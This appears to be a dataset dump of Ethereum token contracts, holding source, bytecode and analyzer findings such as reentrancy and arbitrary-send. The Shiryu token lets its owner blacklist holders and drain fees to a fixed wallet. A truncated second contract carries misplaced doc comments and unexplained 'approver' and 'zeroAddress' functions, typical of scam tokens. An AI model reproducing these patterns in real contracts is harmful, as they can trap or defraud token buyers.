00000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f6564697374542073686f756c6420626520696e2030202d203235000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f7265646973542073686f756c6420626520696e2030202d203235000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61321b81612cb1565b811461322657600080fd5b50565b61323281612cef565b811461323d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204bec22db79cea0e4e95c43b0669ddaf11b531b699f50ed5d75d5af04c6566aa464736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,365 |
0x8B497eBc998B7Cf5BAA737e70B5C8eCa4CaeE3E1 | /**
,/ _,---._
, _,'/| ,-' `.
\.__,-' // `./ ____ \
Shiryu's \\ // `. ,'\__/`. \
Dragon \\ // `.,' `./`. `.
||// `-. `.'| \
/ ,`,===========:=- |-| \
__ ,' )\,_ ,-' | | `.__
/))/) \,/)/ \\\ /' /`-| `---.___
())'_) / ' /,\\ ,/ |`-,'
/)).\____,-_/ , ,'~ \\| |--| ,
(()||_)~~~~|' ,',' )' `._,\ `. `.
((\\/ \/_/ ( / `.-\ \ )
/\\ `, / \-`-.,' ,/
/ ')\ ,' /`-./ ,'---.____
| | / ,--' / /---.______
| | | ,-.-. _,-' ,-,-._ / _/
|_/|_,' /\/ ) ` /|,/\/\_, `- /\
// ||_ //'|/\__,'\|(/'|/ \___,'`,)
`- ~~ ` ` `
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Shiryu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Shiryu";
string private constant _symbol = "DRAGON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x5611498630a536ABFf72cF7104E93CB0096e68db);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 4;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 4;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(10).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610339578063b87f137a14610359578063c3c8cd8014610379578063c9567bf91461038e578063dd62ed3e146103a357600080fd5b806370a0823114610298578063715018a6146102b8578063751039fc146102cd5780638da5cb5b146102e257806395d89b411461030a57600080fd5b8063273123b7116100e7578063273123b714610207578063313ce567146102275780635932ead114610243578063677daa57146102635780636fc3eaec1461028357600080fd5b806306fdde031461012f578063095ea7b31461017057806318160ddd146101a05780631b3f71ae146101c557806323b872dd146101e757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600681526553686972797560d01b60208201525b6040516101679190611740565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046117ba565b6103e9565b6040519015158152602001610167565b3480156101ac57600080fd5b5067016345785d8a00005b604051908152602001610167565b3480156101d157600080fd5b506101e56101e03660046117fc565b610400565b005b3480156101f357600080fd5b506101906102023660046118c1565b61049f565b34801561021357600080fd5b506101e5610222366004611902565b610508565b34801561023357600080fd5b5060405160098152602001610167565b34801561024f57600080fd5b506101e561025e36600461192d565b610553565b34801561026f57600080fd5b506101e561027e36600461194a565b61059b565b34801561028f57600080fd5b506101e56105f5565b3480156102a457600080fd5b506101b76102b3366004611902565b610622565b3480156102c457600080fd5b506101e5610644565b3480156102d957600080fd5b506101e56106b8565b3480156102ee57600080fd5b506000546040516001600160a01b039091168152602001610167565b34801561031657600080fd5b50604080518082019091526006815265222920a3a7a760d11b602082015261015a565b34801561034557600080fd5b506101906103543660046117ba565b6106f5565b34801561036557600080fd5b506101e561037436600461194a565b610702565b34801561038557600080fd5b506101e5610756565b34801561039a57600080fd5b506101e561078c565b3480156103af57600080fd5b506101b76103be366004611963565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f6338484610b3e565b5060015b92915050565b6000546001600160a01b031633146104335760405162461bcd60e51b815260040161042a9061199c565b60405180910390fd5b60005b815181101561049b57600160066000848481518110610457576104576119d1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610493816119fd565b915050610436565b5050565b60006104ac848484610c62565b6104fe84336104f985604051806060016040528060288152602001611b60602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061106c565b610b3e565b5060019392505050565b6000546001600160a01b031633146105325760405162461bcd60e51b815260040161042a9061199c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161042a9061199c565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161042a9061199c565b600081116105d257600080fd5b6105ef60646105e967016345785d8a0000846110a6565b9061112f565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061557600080fd5b4761061f81611171565b50565b6001600160a01b0381166000908152600260205260408120546103fa906111ab565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161042a9061199c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e25760405162461bcd60e51b815260040161042a9061199c565b67016345785d8a0000600f819055601055565b60006103f6338484610c62565b6000546001600160a01b0316331461072c5760405162461bcd60e51b815260040161042a9061199c565b6000811161073957600080fd5b61075060646105e967016345785d8a0000846110a6565b60105550565b600c546001600160a01b0316336001600160a01b03161461077657600080fd5b600061078130610622565b905061061f81611228565b6000546001600160a01b031633146107b65760405162461bcd60e51b815260040161042a9061199c565b600e54600160a01b900460ff16156108105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042a565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084c308267016345785d8a0000610b3e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ae9190611a16565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190611a16565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561096c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109909190611a16565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c081610622565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a629190611a33565b5050600e805461ffff60b01b191661010160b01b17905550610a936103e86105e967016345785d8a0000600a6110a6565b600f55610aaf6103e86105e967016345785d8a0000601e6110a6565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049b9190611a61565b6001600160a01b038316610ba05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042a565b6001600160a01b038216610c015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042a565b6001600160a01b038216610d285760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042a565b60008111610d8a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042a565b6000600a556004600b55610da66000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610dd557506000546001600160a01b03838116911614155b1561105c576001600160a01b03831660009081526006602052604090205460ff16158015610e1c57506001600160a01b03821660009081526006602052604090205460ff16155b610e2557600080fd5b600e546001600160a01b038481169116148015610e505750600d546001600160a01b03838116911614155b8015610e7557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8a5750600e54600160b81b900460ff165b15610f8f57600f54811115610ee15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042a565b60105481610eee84610622565b610ef89190611a7e565b1115610f465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042a565b6001600160a01b0382166000908152600760205260409020544211610f6a57600080fd5b610f7542601e611a7e565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fba5750600d546001600160a01b03848116911614155b8015610fdf57506001600160a01b03831660009081526005602052604090205460ff16155b15610fef576000600a556004600b555b6000610ffa30610622565b600e54909150600160a81b900460ff161580156110255750600e546001600160a01b03858116911614155b801561103a5750600e54600160b01b900460ff165b1561105a5761104881611228565b4780156110585761105847611171565b505b505b6110678383836113a2565b505050565b600081848411156110905760405162461bcd60e51b815260040161042a9190611740565b50600061109d8486611a96565b95945050505050565b6000826000036110b8575060006103fa565b60006110c48385611aad565b9050826110d18583611acc565b146111285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042a565b9392505050565b600061112883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ad565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049b573d6000803e3d6000fd5b60006008548211156112125760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042a565b600061121c6113db565b9050611128838261112f565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611270576112706119d1565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ed9190611a16565b81600181518110611300576113006119d1565b6001600160a01b039283166020918202929092010152600d546113269130911684610b3e565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135f908590600090869030904290600401611aee565b600060405180830381600087803b15801561137957600080fd5b505af115801561138d573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110678383836113fe565b600081836113ce5760405162461bcd60e51b815260040161042a9190611740565b50600061109d8486611acc565b60008060006113e86114f5565b90925090506113f7828261112f565b9250505090565b60008060008060008061141087611535565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114429087611592565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461147190866115d4565b6001600160a01b03891660009081526002602052604090205561149381611633565b61149d848361167d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e291815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a0000611510828261112f565b82101561152c5750506008549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006115528a600a54600b546116a1565b92509250925060006115626113db565b905060008060006115758e8787876116f0565b919e509c509a509598509396509194505050505091939550919395565b600061112883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061106c565b6000806115e18385611a7e565b9050838110156111285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042a565b600061163d6113db565b9050600061164b83836110a6565b3060009081526002602052604090205490915061166890826115d4565b30600090815260026020526040902055505050565b60085461168a9083611592565b60085560095461169a90826115d4565b6009555050565b60008080806116b560646105e989896110a6565b905060006116c860646105e98a896110a6565b905060006116e0826116da8b86611592565b90611592565b9992985090965090945050505050565b60008080806116ff88866110a6565b9050600061170d88876110a6565b9050600061171b88886110a6565b9050600061172d826116da8686611592565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561176d57858101830151858201604001528201611751565b8181111561177f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461061f57600080fd5b80356117b581611795565b919050565b600080604083850312156117cd57600080fd5b82356117d881611795565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180f57600080fd5b823567ffffffffffffffff8082111561182757600080fd5b818501915085601f83011261183b57600080fd5b81358181111561184d5761184d6117e6565b8060051b604051601f19603f83011681018181108582111715611872576118726117e6565b60405291825284820192508381018501918883111561189057600080fd5b938501935b828510156118b5576118a6856117aa565b84529385019392850192611895565b98975050505050505050565b6000806000606084860312156118d657600080fd5b83356118e181611795565b925060208401356118f181611795565b929592945050506040919091013590565b60006020828403121561191457600080fd5b813561112881611795565b801515811461061f57600080fd5b60006020828403121561193f57600080fd5b81356111288161191f565b60006020828403121561195c57600080fd5b5035919050565b6000806040838503121561197657600080fd5b823561198181611795565b9150602083013561199181611795565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611a0f57611a0f6119e7565b5060010190565b600060208284031215611a2857600080fd5b815161112881611795565b600080600060608486031215611a4857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a7357600080fd5b81516111288161191f565b60008219821115611a9157611a916119e7565b500190565b600082821015611aa857611aa86119e7565b500390565b6000816000190483118215151615611ac757611ac76119e7565b500290565b600082611ae957634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b3e5784516001600160a01b031683529383019391830191600101611b19565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203818f9a90fd7816828fc3bdf8782604610c67011efe5397e3820ca90f012fff464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,366 |
0xdf8379d2ec7963933ee4654bb39ca47a66b8af1b | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract BullBrainCapitalDAO is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
